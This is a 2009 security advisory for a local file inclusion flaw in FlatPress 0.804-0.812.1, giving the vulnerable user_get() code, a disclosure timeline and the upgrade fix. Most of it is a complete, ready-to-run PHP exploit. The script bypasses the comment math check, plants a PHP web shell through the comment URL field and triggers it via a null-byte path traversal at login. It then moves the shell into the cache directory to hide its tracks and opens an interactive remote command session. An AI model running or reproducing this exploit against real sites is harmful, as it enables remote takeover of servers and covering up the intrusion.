FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution

Security Advisory

FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution

Researcher Information

Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com

Product Information

FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org

Vulnerability Description

The versions 0.804 through 0.812.1 are resulting to be prone to a nasty LFI vulnerability which can be exploited to have RCE (Remote Command Execution). The piece of code involved is in the fp-includes/core/core.users.php directory in the user_get() function as showed below.

   function user_get($userid=null){

if ($userid == null && ($user = user_loggedin())) {
return $user;
}
if (file_exists($f = USERS_DIR . $userid.".php")) {
include($f);

return $user;
}

   }

It is possible to create a crafted comment for an article, and inject PHP code into the "web link" field, which is not properly validated. Then, a remote attacker could use this code to execute shell commands remotely, eventually hiding his own tracks (e.g. deleting the injected comment).

Disclosure timeline

DD/MM/YYYY

24/09/2009: Vulnerability discovery and analysis;

26/09/2009: The vendor was notificated via e-mail;

26/09/2009: Vendor response and a new release publicly available;

27/09/2009: The researcher starts coding the exploit;

29/09/2009: Exploit complete and tested.

Workaroud

Update to the newer version 0.812.2

Shouts

Thank you (you-know-who) :-)

Exploit

<?php

/* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
*
* Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
*              vulnerability exploit (fp-includes/core/core.users.php).
*              This code posts a crafted comment with a very simple
PHP shell.
*              It exploits the LFI, hides the shell in the cache directory
*              and starts a remote command session via POST.
*
* Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
*         <host>:   the hostname or IP address of your target;
*         <path>:   the path where FlatPress was installed;
*         [action]: the action to take against the host system
(test, attack);
*         [lang]:   the remote language used (en, it);";
*         [shell]:  if already exploited, you could just have the shell name.
*
* Dependencies: php5-curl.
*

Examples:

php fp-lfi2rce.php www.example.com / => will test

php fp-lfi2rce.php www.example.com /blog attack => will attack

php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php => start remote session */

  /* GET request, returns the page */
  function get_url_contents($crl, $url)
  {

curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');

    $ret = curl_exec($crl);

    return $ret;
  }

  /* POST request */
  function post_url_fields($crl, $url, $fields)   {

curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_POST, 1);
curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');

    $ret = curl_exec($crl);

    return $ret;
  }

  /* Execute remote command, returns the output */   function fp_exec($crl, $sh, $cmd)
  {
    $ret = post_url_fields($crl, $sh, "c=$cmd");

    if ($ret) {

$pos1 = strpos($ret, 'http://www.aaa') + 14;
$pos2 = strpos($ret, 'aaa.com', $pos1);
$result = substr($ret, $pos1, $pos2-$pos1);
return $result;
} else
return false;

  }

  /* Starts a remote command session */
  function fp_shell($crl, $sh)
  {
    echo "/nStarting remote command session, type 'quit' or 'exit' to exit./n";

    echo "/nremote> ";
    $line = trim(fgets(STDIN));

    while (($line != 'exit') && ($line != 'quit')) {

if ($line != "") {
if ($ret = fp_exec($crl, $sh, $line)) {
echo "/n$ret";
} else
echo "/nError./n";
}
echo "/nremote> ";
$line = trim(fgets(STDIN));

    }
  }

  function fail($crl, $str)
  {
    curl_close($crl);

    die($str);
  }

  echo "/n Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>/n";   echo "/n";
  echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution/n";
  echo " vulnerability exploit (fp-includes/core/core.users.php)./n";
  echo " This code posts a crafted comment with a very simple PHP shell./n";
  echo " It exploits the LFI, hides the shell in the cache directory/n";

echo "              and starts a remote command session via POST./n";
echo "/n";
echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]/n";
echo "         <host>:   the hostname or IP address of your target;/n";
echo "         <path>:   the path where FlatPress was installed;/n";
echo "         [action]: the action to take against the host system
(test, attack);/n";
echo "         [lang]:   the remote language used (en, it);/n";
echo "         [shell]:  if already exploited, you could just have

the shell name./n";

echo "/n";
echo " Examples:/n";
echo "         php $argv[0] www.example.com /
=> will test/n";
echo "         php $argv[0] www.example.com /blog attack
=> will attack/n";
echo "         php $argv[0] www.example.com /flatpress attack en

12345678.php => start remote session/n/n";

  $crl = curl_init();

  if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')     die();

  $HOST = $argv[1];
  $PATH = $argv[2];

  if (isset($argv[3]))
    $ACTION = $argv[3];
  else
    $ACTION = 'test';

  if (isset($argv[4]))
    $LANG = $argv[4];
  else
    $LANG = 'en';

  switch ($LANG) {
    case 'it':
      $LANGARRAY = array('aaspam' => 'Per prevenire abusi del sistema di commenti, ' .

'ti chiediamo di scrivere il
risultato di ' .
'questa semplice operazione matematica',
'sum'      => 'sommare',
'subtract' => 'togli');
break;
default: /* en */
$LANGARRAY = array('aaspam'   => 'As a way to prevent abuses of
this commenting system, ' .
'we must ask you to give the
result of this simple ' .
'mathematical operation',
'sum'      => 'sum',
'subtract' => 'subtract');
break;

  }

  if (isset($argv[5])) {
    $SHELL = $argv[5];
    fp_shell($crl, "fp-content/cache/$SHELL");     curl_close($crl);
    exit();
  } else
    $SHELL = 'unknown';

echo " Host: $HOST/n";
echo " Path: $PATH/n";
echo " Lang: $LANG/n";
echo " Shell: $SHELL/n/n";

  echo " [+] Vulnerability test: ";

  $form = "user=../../admin&pass=".rand()."&submit=Login";   $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)     echo "vulnerable!/n/n";
  else
    fail($crl, "NOT vulnerable!/n/n");

  if ($ACTION == "test") {
    curl_close($crl);
    exit();
  }

  echo " [+] Creating the shell/n";
  echo " * Getting the home page: ";

  $home = get_url_contents($crl, "$HOST/$PATH/");

  if (strpos($home, '<meta name="generator" content="FlatPress'))     echo "ok/n";
  else
    fail($crl, "FAIL!/n/n");

  echo " * Detecting an article: ";

  $entrypos = strpos($home, "x=entry:entry") + 8;

  if ($entrypos) {
    $entry = substr($home, $entrypos, 18);     echo "$entry/n";
  } else
    fail($crl, "FAIL!/n/n");

  echo " * Getting the comment page: ";

  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  if (strpos($commentpage, 'id="comment-userdata"'))     echo "ok/n";
  else
    fail($crl, "FAIL!/n/n");

  echo " * Solving the math operation: ";

  $mathpos = strpos($commentpage, $LANGARRAY['aaspam']) + strlen($LANGARRAY['aaspam']);

$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");
$mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
$operation = strtok($mathstr, " ");

  switch ($operation) {
    case $LANGARRAY['sum']:

$first = strtok(' ');
$to = strtok(' ');
$second = strtok(' ');
$result = $first + $second;
break;
case $LANGARRAY['subtract']:
$first = strtok(' ');
$from = strtok(' ');
$second = strtok(' ');
$result = $second - $first;
break;
case (is_numeric($operation) ? $operation : ""):
$first = $operation;
$times = strtok(' ');
$second = strtok(' ');
$result = $first * $second;
break;
default:
fail($crl, "FAIL!/n/n");

  }

  echo "$result/n";

  echo " * Posting crafted comment.../n";

  $random = rand();
  $form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa/<?system($_POST[/'c/']);?/>aaa.com' .

          '&aaspam='.$result.'&content=foo&submit=Add';

  post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);   $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  echo " * Searching comment name: ";

  if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",

$commentpage, $comments, PREG_PATTERN_ORDER)) {
$commententry = end($comments[0]);
echo "$commententry/n";

  } else
    fail($crl, "FAIL!/n/n");

$year = substr($entry, 5, 2);
$month = substr($entry, 7, 2);
$commentpath = "content/$year/$month/$entry/comments/$commententry.txt";

echo "     * Hiding tracks: ";

  $SHELL = rand().'.php';

  $form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .

          "&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {     echo "ok/n/n";
    echo " [+] Your shell: fp-content/cache/$SHELL/n";   } else
    fail($crl, "FAIL!/n/n");

  fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

  curl_close($crl);

  exit();
?>